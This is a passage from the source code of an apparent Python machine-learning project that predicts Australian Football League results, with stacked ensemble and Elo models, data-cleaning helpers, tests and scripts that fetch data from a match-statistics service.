0.6343992255, }, "meta_pipeline": { "extratreesregressor__max_depth": 41, "extratreesregressor__min_samples_leaf": 1, "extratreesregressor__min_samples_split": 3, "extratreesregressor__n_estimators": 172, }, } ML_PIPELINE = make_pipeline( DataFrameConverter(), BASE_ML_PIPELINE, ExtraTreesRegressor(random_state=SEED) ).set_params(**BEST_PARAMS["ml_pipeline"]) ELO_PIPELINE = make_pipeline( DataFrameConverter(), TeammatchToMatchConverter(), EloRegressor() ).set_params(**BEST_PARAMS["elo_pipeline"]) META_PIPELINE = make_pipeline( StandardScaler(), ExtraTreesRegressor(random_state=SEED) ).set_params(**BEST_PARAMS["meta_pipeline"]) PIPELINE = StackingRegressor( regressors=[ML_PIPELINE, ELO_PIPELINE], meta_regressor=META_PIPELINE ) class StackingEstimator(BaseMLEstimator): """Stacked ensemble model based on `mlxtend`'s `StackingRegressor`.""" def __init__( self, pipeline: Union[Pipeline, BaseEstimator] = None, name: Optional[str] = "stacking_estimator", min_year=BEST_PARAMS["min_year"], ) -> None: """Instantiate a StackingEstimator object. Params ------ pipeline: Pipeline of Scikit-learn estimators ending in a regressor or classifier. name: Name of the estimator for reference by Kedro data sets and filenames. min_year: Minimum year for data used in training (inclusive). """ pipeline = PIPELINE if pipeline is None else pipeline super().__init__(pipeline, name=name) self.min_year = min_year def fit(self, X: pd.DataFrame, y: Union[pd.Series, np.ndarray]) -> Type[R]: """Fit estimator to the data.""" X_filtered, y_filtered = ( self._filter_by_min_year(X), self._filter_by_min_year(y), ) assert X_filtered.index.is_monotonic, ( "X must be sorted by index values. Otherwise, we risk mismatching rows " "being passed from lower estimators to the meta estimator." ) for regr in self.pipeline.regressors: if "dataframeconverter__columns" in regr.get_params().keys(): regr.set_params( **{ "dataframeconverter__columns": X_filtered.columns, "dataframeconverter__index": X_filtered.index, } ) label_param = None for param_key in self.pipeline.get_params().keys(): if re.match(LABEL_PARAM_REGEX, param_key): label_param = param_key break if label_param is not None: self.pipeline.set_params(**{label_param: y_filtered}) return super().fit(X_filtered, y_filtered) def predict(self, X): """Make predictions.""" X_filtered = self._filter_by_min_year(X) # On fit, StackingRegressor reassigns the defined regressors to regr_, # which it uses internally to fit/predict. Calling set_params doesn't update # the regr_ attribute, which means without this little hack, # we would be predicting with outdated params. for regr in self.pipeline.regr_: regr.set_params( **{ "dataframeconverter__columns": X_filtered.columns, "dataframeconverter__index": X_filtered.index, } ) return super().predict(X_filtered) def _filter_by_min_year( self, data: Union[pd.DataFrame, pd.Series] ) -> Union[pd.DataFrame, pd.Series]: row_slice = (slice(None), slice(self.min_year, None), slice(None)) if isinstance(data, pd.Series): return data.loc[row_slice] return data.loc[row_slice, :] <file_sep>/src/augury/pipelines/nodes/base.py """Utility functions used in various kedro node functions.""" from typing import Callable, Union, Set, Sequence from datetime import datetime, time from dateutil import parser import pytz import pandas as pd from mypy_extensions import TypedDict from augury.settings import ( TEAM_TRANSLATIONS, INDEX_COLS, VENUE_TIMEZONES, TEAM_NAMES, ) ReplaceKwargs = TypedDict("ReplaceKwargs", {"hour": int, "minute": int}) # Some matches were played in Wellington, NZ from 2013 to 2015, and the earliest # start time for those matches was 13:10 EARLIEST_NZ_START_TIME: ReplaceKwargs = {"hour": 13, "minute": 10} def _localize_dates(row: pd.Series) -> datetime: # Defaulting to Melbourne time, when the datetime isn't location specific, # because the AFL has a pro-Melbourne bias, so why shouldn't we? venue_timezone_label = ( VENUE_TIMEZONES.get(row["venue"]) if "venue" in row.index else "Australia/Melbourne" ) assert isinstance( venue_timezone_label, str ), f"Could not find timezone for {row['venue']}" match_date: datetime = parser.parse(row["date"]) # For match dates without start times, we add the minimum start time that # (more-or-less) guarantees that converting times from local timezones to UTC # won't change the date as well. This should make joining data on dates # more consistent, because I couldn't find a case where converting a real match # start time to UTC changes the date. # 1. A quick check of player data found a minimum start time of 11:40 # at Manuka Oval (Canberra), which has a max UTC offset of +11, which is also # the max offset in Australia. # 2. The max UTC offset for a match venue is Wellington (+13), but the earliest # start time of matches played there is 13:10, and a match hasn't been played # there since 2015 (meaning there's unlikely to be a future match there # at an earlier time) # This may lead to specious start times, but so did defaulting to midnight. match_datetime = ( match_date.replace(**EARLIEST_NZ_START_TIME) if match_date.time() == time() else match_date ) return pytz.timezone(venue_timezone_label).localize(match_datetime) def _format_time(unformatted_time: str): if not unformatted_time.isnumeric(): return unformatted_time assert len(unformatted_time) in [3, 4], ( "Time values are expected to be 3 or 4 digits, 1 or 2 for the hour " f"and 2 for the minute, but we received: {unformatted_time}." ) return unformatted_time[:-2] + ":" + unformatted_time[2:] def _parse_dates(data_frame: pd.DataFrame, time_col=None) -> pd.Series: localization_columns = list( set(["date", "venue", time_col]) & set(data_frame.columns) ) localization_data = data_frame[localization_columns].astype(str) # Some data sources have separate date and local_start_time columns, # so we concat them to get consistent datetimes for matches if time_col is not None: localization_data.loc[:, "date"] = ( localization_data["date"] + " " + localization_data[time_col].map(_format_time) ) localized_dates = localization_data.apply(_localize_dates, axis=1) return pd.to_datetime(localized_dates, utc=True) def _translate_team_name(team_name: str) -> str: return TEAM_TRANSLATIONS[team_name] if team_name in TEAM_TRANSLATIONS else team_name def _translate_team_column(col_name: str) -> Callable[[pd.DataFrame], str]: return lambda data_frame: data_frame[col_name].map(_translate_team_name) def _validate_required_columns( required_columns: Union[Set[str], Sequence[str]], data_frame_columns: pd.Index ): required_column_set = set(required_columns) data_frame_column_set = set(data_frame_columns) column_intersection = data_frame_column_set & required_column_set assert column_intersection == required_column_set, ( f"{required_column_set} are required columns for this transformation, " "the missing columns are:\n" f"{required_column_set - column_intersection}" ) def _validate_unique_team_index_columns(data_frame: pd.DataFrame): duplicate_home_team_indices = data_frame[ ["home_team", "year", "round_number"] ].duplicated(keep=False) assert not duplicate_home_team_indices.any().any(), ( "Cleaning data resulted in rows with duplicate indices:\n" f"{data_frame[duplicate_home_team_indices]}" ) duplicate_away_indices = data_frame[ ["away_team", "year", "round_number"] ].duplicated(keep=False) assert not duplicate_away_indices.any().any(), ( "Cleaning data resulted in rows with duplicate indices:\n" f"{data_frame[duplicate_away_indices]}" ) def _validate_no_dodgy_zeros(data_frame: pd.DataFrame): cols_to_check = list(set(data_frame.columns) & set(INDEX_COLS)) if not any(cols_to_check): return None zero_value_query = " | ".join([f"{col} == 0" for col in cols_to_check]) zeros_data_frame = data_frame.query(zero_value_query) assert ( not zeros_data_frame.size ), f"An invalid fillna produced index column values of 0:\n{zeros_data_frame}" def _validate_canoncial_team_names(data_frame: pd.DataFrame): TEAM_NAME_COLS = ["team", "oppo_team", "home_team", "away_team", "playing_for"] cols_to_check = list(set(data_frame.columns) & set(TEAM_NAME_COLS)) unique_team_names = set(data_frame[cols_to_check].to_numpy().flatten()) non_canonical_team_names = unique_team_names - set(TEAM_NAMES) assert not any(non_canonical_team_names), ( "All team names must be the canonical versions or table joins won't work. " "The non-canonical team names are:\n" f"{non_canonical_team_names}" ) def _filter_out_dodgy_data(keep="last", **kwargs) -> Callable: return lambda df: ( df.sort_values("date", ascending=True) # Some early matches (1800s) have fully-duplicated rows. # Also, drawn finals get replayed, which screws up my indexing and a bunch of other # data munging, so we keep the 'last' finals played, which is the one # that didn't end in a tie. .drop_duplicates(keep=keep, **kwargs) # There were some weird round-robin rounds in the early days, and it's easier to # drop them rather than figure out how to split up the rounds. .query( "(year != 1897 | round_number != 15) " "& (year != 1924 | round_number != 19)" ) ) # ID values are converted to floats automatically, making for awkward strings later. # We want them as strings, because sometimes we have to use player names as replacement # IDs, and we concatenate multiple ID values to create a unique index. def _convert_id_to_string(id_label: str) -> Callable: return lambda df: df[id_label].astype(int).astype(str) <file_sep>/src/tests/unit/nodes/test_feature_calculation.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase from faker import Faker import pandas as pd from candystore import CandyStore from augury.pipelines.nodes import feature_calculation, common from augury.pipelines.match import nodes as match FAKE = Faker() YEAR_RANGE = (2015, 2016) def assert_required_columns( test_case, req_cols=[], valid_data_frame=None, feature_function=None ): for req_col in req_cols: with test_case.subTest(data_frame=valid_data_frame.drop(req_col, axis=1)): data_frame = valid_data_frame.drop(req_col, axis=1) with test_case.assertRaises(ValueError): feature_function(data_frame) class TestFeatureCalculations(TestCase): def setUp(self): self.data_frame = ( CandyStore(seasons=YEAR_RANGE) .match_results() .pipe(match.clean_match_data) .pipe(common.convert_match_rows_to_teammatch_rows) ) def test_feature_calculator(self): def calc_func(col): return lambda df: df[col].rename(f"new_{col}") calculators = [ (calc_func, ["team", "year"]), (calc_func, ["round_number", "score"]), ] calc_function = feature_calculation.feature_calculator(calculators) calculated_data_frame = calc_function(self.data_frame) self.assertIsInstance(calculated_data_frame, pd.DataFrame) self.assertFalse(any(calculated_data_frame.columns.duplicated())) with self.subTest("with calculate_rolling_rate"): calculators = [(feature_calculation.calculate_rolling_rate, [("score",)])] with self.subTest("with a multi-indexed data frame"): multi_index_df = self.data_frame.set_index( ["team", "year", "round_number"], drop=False ) # It runs without error calc_function = feature_calculation.feature_calculator(calculators) calc_function(multi_index_df) def test_rolling_rate_filled_by_expanding_rate(self): groups = self.data_frame[["team", "score", "oppo_score"]].groupby("team") window = 10 rolling_values = feature_calculation.rolling_rate_filled_by_expanding_rate( groups, window ) # It doesn't have any blank values self.assertFalse(rolling_values.isna().any().any()) def test_calculate_rolling_rate(self): calc_function = feature_calculation.calculate_rolling_rate(("score",)) assert_required_columns( self, req_cols=("score",), valid_data_frame=self.data_frame, feature_function=calc_function, ) rolling_score = calc_function(self.data_frame) self.assertIsInstance(rolling_score, pd.Series) self.assertEqual(rolling_score.name, "rolling_score_rate") def test_calculate_division(self): calc_function = feature_calculation.calculate_division(("score", "oppo_score")) assert_required_columns( self, req_cols=("score", "oppo_score"), valid_data_frame=self.data_frame, feature_function=calc_function, ) divided_scores = calc_function(self.data_frame) self.assertIsInstance(divided_scores, pd.Series) self.assertEqual(divided_scores.name, "score_divided_by_oppo_score") def test_calculate_multiplication(self): calc_function = feature_calculation.calculate_multiplication( ("score", "oppo_score") ) assert_required_columns( self, req_cols=("score", "oppo_score"), valid_data_frame=self.data_frame, feature_function=calc_function, ) multiplied_scores = calc_function(self.data_frame) self.assertIsInstance(multiplied_scores, pd.Series) self.assertEqual(multiplied_scores.name, "score_multiplied_by_oppo_score") def test_calculate_rolling_mean_by_dimension(self): calc_function = feature_calculation.calculate_rolling_mean_by_dimension( ("oppo_team", "score") ) assert_required_columns( self, req_cols=("oppo_team", "score"), valid_data_frame=self.data_frame, feature_function=calc_function, ) rolling_oppo_team_score = calc_function(self.data_frame) self.assertIsInstance(rolling_oppo_team_score, pd.Series) self.assertEqual( rolling_oppo_team_score.name, "rolling_mean_score_by_oppo_team" ) def test_calculate_addition(self): calc_function = feature_calculation.calculate_addition(("score", "oppo_score")) assert_required_columns( self, req_cols=("score", "oppo_score"), valid_data_frame=self.data_frame, feature_function=calc_function, ) addition_scores = calc_function(self.data_frame) self.assertIsInstance(addition_scores, pd.Series) self.assertEqual(addition_scores.name, "score_plus_oppo_score") <file_sep>/src/augury/io/__init__.py """Custom data set classes that inherit from kedro's AbstractDataSet.""" from .json_remote_data_set import JSONRemoteDataSet <file_sep>/src/augury/pipelines/betting/__init__.py """Pipeline and nodes for loading and processing betting data.""" from .pipeline import create_pipeline <file_sep>/src/tests/unit/io/test_json_remote_data_set.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase from unittest.mock import MagicMock, patch from augury.io.json_remote_data_set import JSONRemoteDataSet, DATE_RANGE_TYPE class TestJSONRemoteDataSet(TestCase): def setUp(self): self.date_range_type = "past_rounds" self.data_source = MagicMock() self.data_set = JSONRemoteDataSet( data_source=self.data_source, date_range_type=self.date_range_type ) def test_load(self): self.data_set.load() self.data_source.assert_called_with(**DATE_RANGE_TYPE[self.date_range_type]) with self.subTest("with string path to data_source function"): data_source_path = "augury.data_import.betting_data.fetch_betting_data" with patch(data_source_path): data_set = JSONRemoteDataSet( date_range_type=self.date_range_type, data_source=data_source_path ) data_set.load() data_set.data_source.assert_called_with( **DATE_RANGE_TYPE[self.date_range_type] ) with self.subTest("when date_range_type is None"): data_set = JSONRemoteDataSet( data_source=self.data_source, date_range_type=None ) data_set.load() self.data_source.assert_called_with() with self.subTest("when date_range_type is unknown"): with self.assertRaisesRegex( AssertionError, "Argument date_range_type must be None or one of" ): data_set = JSONRemoteDataSet( data_source=self.data_source, date_range_type="nope" ) def test_save(self): self.data_set.save({}) <file_sep>/src/augury/pipelines/match/__init__.py """Pipeline and nodes for loading and processing match data.""" from .pipeline import create_pipeline, create_past_match_pipeline <file_sep>/src/augury/data_import/base_data.py """Base module for fetching data from afl_data service.""" from typing import Dict, Any, List import os import time import requests LOCAL_AFL_DATA_SERVICE = "http://afl_data:8080" AFL_DATA_SERVICE = os.getenv("AFL_DATA_SERVICE", default="") def _handle_response_data(response: requests.Response) -> List[Dict[str, Any]]: parsed_response = response.json() if isinstance(parsed_response, dict) and "error" in parsed_response.keys(): raise RuntimeError(parsed_response["error"]) data = parsed_response.get("data") if any(data): return data return [] def _make_request( url: str, params: Dict[str, Any] = {}, headers: Dict[str, str] = {}, retry=True ) -> requests.Response: response = requests.get(url, params=params, headers=headers) if response.status_code != 200: # If it's the first call to afl_data service in awhile, the response takes # longer due to the container getting started, and it sometimes times out, # so we'll retry once just in case if retry: print(f"Received an error response from {url}, retrying...") time.sleep(5) return _make_request(url, params=params, headers=headers, retry=False) raise Exception( "Bad response from application: " f"{response.status_code} / {response.headers} / {response.text}" ) return response def fetch_afl_data(path: str, params: Dict[str, Any] = {}) -> List[Dict[str, Any]]: """ Fetch data from the afl_data service. Params ------ path (string): API endpoint to call. params (dict): Query parameters to include in the API request. Returns ------- list of dicts, representing the AFL data requested. """ if os.getenv("PYTHON_ENV") == "production": service_host = AFL_DATA_SERVICE headers = {"Authorization": f'Bearer {os.getenv("AFL_DATA_SERVICE_TOKEN")}'} else: service_host = LOCAL_AFL_DATA_SERVICE headers = {} service_url = service_host + path response = _make_request(service_url, params=params, headers=headers) return _handle_response_data(response) <file_sep>/scripts/test.sh #!/bin/bash set -euo pipefail # We use loadfile to group tests by file to avoid IO errors docker-compose run --rm data_science kedro test -n auto --dist=loadfile $* <file_sep>/src/tests/integration/data_import/test_betting_data_request.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import os from unittest import TestCase, skip from unittest.mock import patch, MagicMock from datetime import date, timedelta from betamax import Betamax from requests import Session from augury.data_import.betting_data import fetch_betting_data from augury.settings import CASSETTE_LIBRARY_DIR SEPT = 9 MAR = 3 FIFTEENTH = 15 THIRTY_FIRST = 31 AFL_DATA_SERVICE = os.getenv("AFL_DATA_SERVICE", default="") AFL_DATA_SERVICE_TOKEN = os.getenv("AFL_DATA_SERVICE_TOKEN", default="") ENV_VARS = os.environ.copy() DATA_IMPORT_PATH = "augury.data_import" with Betamax.configure() as config: config.cassette_library_dir = CASSETTE_LIBRARY_DIR config.define_cassette_placeholder("<AFL_DATA_TOKEN>", AFL_DATA_SERVICE_TOKEN) config.define_cassette_placeholder("<AFL_DATA_URL>", AFL_DATA_SERVICE) class TestBettingData(TestCase): def setUp(self): today = date.today() # Season start and end are approximate, but defined to be safely after the # usual start and before the usual end end_of_previous_season = date(today.year - 1, SEPT, FIFTEENTH) start_of_this_season = date(today.year, MAR, THIRTY_FIRST) end_of_this_season = date(today.year, SEPT, FIFTEENTH) a_month = timedelta(days=30) a_month_ago = today - a_month if today >= start_of_this_season and a_month_ago < end_of_this_season: self.start_date = str(a_month_ago) elif today < start_of_this_season: self.start_date = str(end_of_previous_season - a_month) else: self.start_date = str(end_of_this_season - a_month) self.end_date = str(today) @skip("Data is blank because there's no AFL season because pandemic") def test_fetch_betting_data(self): data = fetch_betting_data( start_date=self.start_date, end_date=self.end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(self.start_date, min(dates)) self.assertGreaterEqual(self.end_date, max(dates)) class TestBettingDataProd(TestCase): def setUp(self): self.session = Session() self.start_date = "2012-01-01" self.end_date = "2013-12-31" @patch.dict(os.environ, {**ENV_VARS, **{"PYTHON_ENV": "production"}}, clear=True) @patch(f"{DATA_IMPORT_PATH}.betting_data.json.dump", MagicMock()) def test_fetch_betting_data(self): with Betamax(self.session).use_cassette("betting_data"): with patch(f"{DATA_IMPORT_PATH}.base_data.requests.get", self.session.get): data = fetch_betting_data( start_date=self.start_date, end_date=self.end_date, verbose=0 ) self.assertIsInstance(data, list) self.assertIsInstance(data[0], dict) self.assertTrue(any(data)) dates = {datum["date"] for datum in data} self.assertLessEqual(self.start_date, min(dates)) self.assertGreaterEqual(self.end_date, max(dates)) <file_sep>/src/tests/unit/test_ml_estimators.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring import pytest from augury.ml_estimators.base_ml_estimator import BaseMLEstimator from augury import settings @pytest.mark.parametrize( "model_name", [ml_model["name"] for ml_model in settings.ML_MODELS] ) def test_model_pickle_file_compatibility(model_name, kedro_session): context = kedro_session.load_context() estimator = context.catalog.load(model_name) assert isinstance(estimator, BaseMLEstimator) <file_sep>/scripts/generate_data_sets.sh #!/bin/bash DATA_DIR="${PWD}/data" mkdir -p "${DATA_DIR}/01_raw" "${DATA_DIR}/02_intermediate" "${DATA_DIR}/05_model_input" DATA_IMPORT_DIR="${PWD}/src/augury/data_import" python3 "${DATA_IMPORT_DIR}/match_data.py" python3 "${DATA_IMPORT_DIR}/player_data.py" kedro run --pipeline full $* <file_sep>/src/augury/data_import/player_data.py """Module for fetching player data from afl_data service.""" from typing import List, Dict, Any from datetime import date, datetime, timedelta import itertools import math from functools import partial import os import json import sys from augury.data_import.base_data import fetch_afl_data from augury.settings import RAW_DATA_DIR, PREDICTION_DATA_START_DATE # Player stats go back to 1897, but before 1965, there are only goals & behinds, which # make for a very sparse data set and needlessly slow down training without adding # much value EARLIEST_SEASON_WITH_EXTENSIVE_PLAYER_STATS = "1965" # This is the max number of season's worth of player data (give or take) that GCR # can handle without blowing up MAX_YEAR_COUNT_FOR_PLAYER_DATA = 3 END_OF_LAST_YEAR = f"{date.today().year - 1}-12-31" def _date_range( start_date: datetime, end_date: datetime, time_spread: timedelta, period: int ): range_start = start_date + (time_spread * period) range_end = min(range_start + time_spread - timedelta(days=1), end_date) return (str(range_start.date()), str(range_end.date())) def _fetch_player_stats_batch( start_date: str, end_date: str, verbose: int = 1 ) -> List[Dict[str, Any]]: # Just being lazy on the definition if verbose == 1: print(f"\tFetching player data from between {start_date} and " f"{end_date}...") data = fetch_afl_data( "/players", params={"start_date": start_date, "end_date": end_date} ) if verbose == 1: print(f"\tPlayer data for {start_date} to {end_date} received!\n") return data def _player_batch_date_ranges(start_date: str, end_date: str): start_date_dt = datetime.strptime(start_date, "%Y-%m-%d") end_date_dt = datetime.strptime(end_date, "%Y-%m-%d") time_spread = timedelta(days=(MAX_YEAR_COUNT_FOR_PLAYER_DATA * 365)) year_spread = (end_date_dt - start_date_dt) / time_spread date_range = partial(_date_range, start_date_dt, end_date_dt, time_spread) return [date_range(period) for period in range(math.ceil(year_spread))] def fetch_player_data( start_date: str = f"{EARLIEST_SEASON_WITH_EXTENSIVE_PLAYER_STATS}-01-01", end_date: str = str(date.today()), verbose: int = 1, ) -> List[Dict[str, Any]]: """ Get player data from AFL tables. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. verbose (int): Whether to print info statements (1 means yes, 0 means no). Returns ------- list of dicts of player data. """ if verbose == 1: print( f"Fetching player data from between {start_date} and {end_date} " "in yearly baches..." ) data_batch_date_ranges = _player_batch_date_ranges(start_date, end_date) partial_fetch_player_stats_batch = partial( _fetch_player_stats_batch, verbose=verbose ) # Google Cloud Run cannot handle such a large data set in its response, so we # fetch it in batches. With the implementation of kedro pipelines, we should # usually read historical data from files or Google Cloud Storage, so the slowness # of this isn't much of an issue. data = itertools.chain.from_iterable( [ partial_fetch_player_stats_batch(*date_pair) for date_pair in data_batch_date_ranges ] ) if verbose == 1: print("All player data received!") return list(data) def save_player_data( start_date: str = f"{EARLIEST_SEASON_WITH_EXTENSIVE_PLAYER_STATS}-01-01", end_date: str = END_OF_LAST_YEAR, verbose: int = 1, for_prod: bool = False, ) -> None: """ Save match data as a *.json file with name based on date range of data. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. verbose (int): Whether to print info statements (1 means yes, 0 means no). for_prod (bool): Whether saved data set is meant for loading in production. If True, this overwrites the given start_date to limit the data set to the last 10 years to limit memory usage. Returns ------- None """ if for_prod: start_date = max(start_date, PREDICTION_DATA_START_DATE) data = fetch_player_data(start_date=start_date, end_date=end_date, verbose=verbose) filepath = os.path.join(RAW_DATA_DIR, f"player-data_{start_date}_{end_date}.json") with open(filepath, "w", encoding="utf-8") as json_file: json.dump(data, json_file, indent=2) if verbose == 1: print("Player data saved") def fetch_roster_data( round_number: int = None, verbose: int = 1 ) -> List[Dict[str, Any]]: """ Get player data from AFL tables. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. verbose (int): Whether to print info statements (1 means yes, 0 means no). Returns ------- list of dicts of player data. """ if verbose == 1: print(f"Fetching roster data for round {round_number}...") data = fetch_afl_data("/rosters", params={"round_number": round_number}) if verbose == 1: if not any(data): print( "No roster data was received. It's likely that the team roster page " "hasn't been updated for the upcoming round." ) else: print("Roster data received!") return data if __name__ == "__main__": script_args = sys.argv[1:] if "--start_date" in script_args: start_date_arg_index = script_args.index("--start_date") + 1 start_date_arg = script_args[start_date_arg_index] else: start_date_arg = f"{EARLIEST_SEASON_WITH_EXTENSIVE_PLAYER_STATS}-01-01" if "--end_date" in script_args: end_date_arg_index = script_args.index("--end_date") + 1 end_date_arg = script_args[end_date_arg_index] else: last_year = date.today().year - 1 end_of_last_year = f"{last_year}-12-31" end_date_arg = end_of_last_year # A bit arbitrary, but in general I prefer to keep the static, raw data up to the # end of last season, fetching more recent data as necessary save_player_data(start_date=start_date_arg, end_date=end_date_arg) <file_sep>/src/augury/sklearn/models.py # pylint: disable=too-many-lines """Classes and functions based on existing Scikit-learn functionality.""" from collections import defaultdict from typing import Type, List, Union, Optional, Any, Tuple, Dict, Callable import copy import warnings import tempfile import pandas as pd import numpy as np from sklearn.base import BaseEstimator, RegressorMixin, ClassifierMixin from sklearn.pipeline import make_pipeline from sklearn.preprocessing import LabelEncoder from mypy_extensions import TypedDict from statsmodels.tsa.base.tsa_model import TimeSeriesModel from scipy.stats import norm from tensorflow import keras from scikeras.wrappers import KerasRegressor, KerasClassifier as ScikerasClassifier from augury.types import R from augury.pipelines.nodes.base import _validate_required_columns from augury.pipelines.nodes import common from augury.sklearn.metrics import bits_loss, regressor_team_match_accuracy from augury.sklearn.model_selection import year_cv_split from augury.sklearn.preprocessing import TimeStepReshaper, KerasInputLister from augury.settings import TEAM_NAMES, VENUES, CATEGORY_COLS, ROUND_TYPES # Default params for EloRegressor DEFAULT_K = 35.6 DEFAULT_X = 0.49 DEFAULT_M = 130 DEFAULT_HOME_GROUND_ADVANTAGE = 9 DEFAULT_S = 250 DEFAULT_SEASON_CARRYOVER = 0.575 TEAM_LEVEL = 0 YEAR_LEVEL = 1 class EloRegressor(BaseEstimator, RegressorMixin): """Elo regression model with a scikit-learn interface.""" EloDictionary = TypedDict( "EloDictionary", { "previous_elo": np.ndarray, "current_elo": np.ndarray, "year": int, "round_number": int, }, ) ELO_INDEX_COLS = ["home_team", "year", "round_number"] NULL_TEAM_NAME = "0" BASE_RATING = 1000 # Constants for accessing data in the running_elo_ratings matrices MATRIX_COLS = [ "year", "round_number", "home_team", "home_prev_match_at_home", "home_prev_match_oppo_team", "home_prev_match_margin", "away_team", "away_prev_match_at_home", "away_prev_match_oppo_team", "away_prev_match_margin", ] YEAR_IDX = MATRIX_COLS.index("year") ROUND_NUMBER_IDX = MATRIX_COLS.index("round_number") HOME_TEAM_IDX = MATRIX_COLS.index("home_team") AWAY_TEAM_IDX = MATRIX_COLS.index("away_team") PREV_AT_HOME_OFFSET = 1 PREV_OPPO_OFFSET = 2 PREV_MARGIN_OFFSET = 3 YEAR_LVL = 1 ROUND_NUMBER_LVL = 2 def __init__( self, k=DEFAULT_K, x=DEFAULT_X, m=DEFAULT_M, home_ground_advantage=DEFAULT_HOME_GROUND_ADVANTAGE, s=DEFAULT_S, season_carryover=DEFAULT_SEASON_CARRYOVER, ): """ Instantiate an EloRegressor object. Params ------ k: Elo model param for regulating for how long match results affect Elo ratings. x: Elo model param. m: Elo model param. home_ground_advantage: Elo model param for how many points an average home team is expected to win by. s: Elo model param. season_carryover: The percentage of a team's end-of-season Elo score that is kept for the next season. """ self.k = k self.x = x self.m = m self.home_ground_advantage = home_ground_advantage self.s = s self.season_carryover = season_carryover self._running_elo_ratings: self.EloDictionary = { "previous_elo": np.array([]), "current_elo": np.array([]), "year": 0, "round_number": 0, } self._fitted_elo_ratings: self.EloDictionary = copy.deepcopy( self._running_elo_ratings ) self._first_fitted_year = 0 self._team_encoder = LabelEncoder() # Have to fit encoder on all team names to not make it dependent # on the teams in the train set being a superset of those in the test set. # Have to add '0' to team names to account for filling in prev_match_oppo_team # for a new team's first match self._team_encoder.fit(np.append(np.array(TEAM_NAMES), self.NULL_TEAM_NAME)) self._null_team = self._team_encoder.transform([self.NULL_TEAM_NAME])[0] def fit(self, X: pd.DataFrame, _y: pd.Series = None) -> Type[R]: """Fit estimator to data.""" REQUIRED_COLS = set(self.ELO_INDEX_COLS) | set(self.MATRIX_COLS) _validate_required_columns(REQUIRED_COLS, X.columns) data_frame: pd.DataFrame = ( X.set_index(self.ELO_INDEX_COLS, drop=False) .rename_axis([None] * len(self.ELO_INDEX_COLS)) .assign( home_team=lambda df: self._team_encoder.transform(df["home_team"]), away_team=lambda df: self._team_encoder.transform(df["away_team"]), home_prev_match_oppo_team=lambda df: self._team_encoder.transform( df["home_prev_match_oppo_team"].astype(str) ), away_prev_match_oppo_team=lambda df: self._team_encoder.transform( df["away_prev_match_oppo_team"].astype(str) ), ) .sort_index(level=[self.YEAR_LVL, self.ROUND_NUMBER_LVL], ascending=True) ) self._reset_elo_state() elo_matrix = (data_frame.loc[:, self.MATRIX_COLS]).to_numpy() for match_row in elo_matrix: self._update_current_elo_ratings(match_row) self._fitted_elo_ratings = copy.deepcopy(self._running_elo_ratings) self._first_fitted_year = data_frame["year"].min() return self def predict(self, X: pd.DataFrame) -> np.ndarray: """Make predictions. Data set used for predictions must follow the training set chronologically. Otherwise, an error is raised to avoid making invalid predictions. """ REQUIRED_COLS = set(self.ELO_INDEX_COLS) | {"away_team"} _validate_required_columns(REQUIRED_COLS, X.columns) assert X.index.is_monotonic, ( "Test data must be sorted by index before passing it to the model, ", "because calculating Elo ratings requires multiple resorts, ", "and we need to be able to make the final predictions match the sorting ", "of the input data.", ) data_frame = ( X.assign( home_team=lambda df: self._team_encoder.transform(df["home_team"]), away_team=lambda df: self._team_encoder.transform(df["away_team"]), home_prev_match_oppo_team=lambda df: self._team_encoder.transform( df["home_prev_match_oppo_team"].astype(str) ), away_prev_match_oppo_team=lambda df: self._team_encoder.transform( df["away_prev_match_oppo_team"].astype(str) ), ) .set_index(self.ELO_INDEX_COLS, drop=False) .sort_index(level=[self.YEAR_LVL, self.ROUND_NUMBER_LVL], ascending=True) ) elo_matrix = (data_frame.loc[:, self.MATRIX_COLS]).to_numpy() if data_frame["year"].min() == self._first_fitted_year: self._reset_elo_state() else: self._running_elo_ratings = copy.deepcopy(self._fitted_elo_ratings) elo_predictions = [ self._calculate_current_elo_predictions(match_row) for match_row in elo_matrix ] # Need to zip predictions to group by home/away instead of match, # then transpose to convert from rows to columns home_away_columns = np.array(list(zip(*elo_predictions))).T elo_data_frame = pd.DataFrame( home_away_columns, columns=["home_elo_prediction", "away_elo_prediction"], index=data_frame.index, ).sort_index() match_data_frame = pd.concat( [elo_data_frame, data_frame.sort_index().loc[:, ["away_team", "date"]]], axis=1, ).reset_index(drop=False) # Have to convert to team-match rows to make shape consistent with other # model predictions return ( common.convert_match_rows_to_teammatch_rows(match_data_frame) # Need to make sure sorting matches wider data set conventions .sort_index() .loc[:, "elo_prediction"] .to_numpy() ) def _calculate_current_elo_predictions(self, match_row: np.ndarray): home_team = int(match_row[self.HOME_TEAM_IDX]) away_team = int(match_row[self.AWAY_TEAM_IDX]) self._update_current_elo_ratings(match_row) home_elo_rating = self._running_elo_ratings["current_elo"][home_team] away_elo_rating = self._running_elo_ratings["current_elo"][away_team] home_elo_prediction = self._calculate_team_elo_prediction( home_elo_rating, away_elo_rating, True ) away_elo_prediction = self._calculate_team_elo_prediction( away_elo_rating, home_elo_rating, False ) return home_elo_prediction, away_elo_prediction # Assumes df sorted by year & round_number with ascending=True in order to calculate # correct Elo ratings def _update_current_elo_ratings(self, match_row: np.ndarray) -> None: home_team = int(match_row[self.HOME_TEAM_IDX]) away_team = int(match_row[self.AWAY_TEAM_IDX]) self._update_prev_elo_ratings(match_row) home_elo_rating = self._calculate_current_elo_rating( self.HOME_TEAM_IDX, match_row ) away_elo_rating = self._calculate_current_elo_rating( self.AWAY_TEAM_IDX, match_row ) self._running_elo_ratings["current_elo"][home_team] = home_elo_rating self._running_elo_ratings["current_elo"][away_team] = away_elo_rating def _update_prev_elo_ratings(self, match_row: np.ndarray): match_year = match_row[self.YEAR_IDX] match_round = match_row[self.ROUND_NUMBER_IDX] 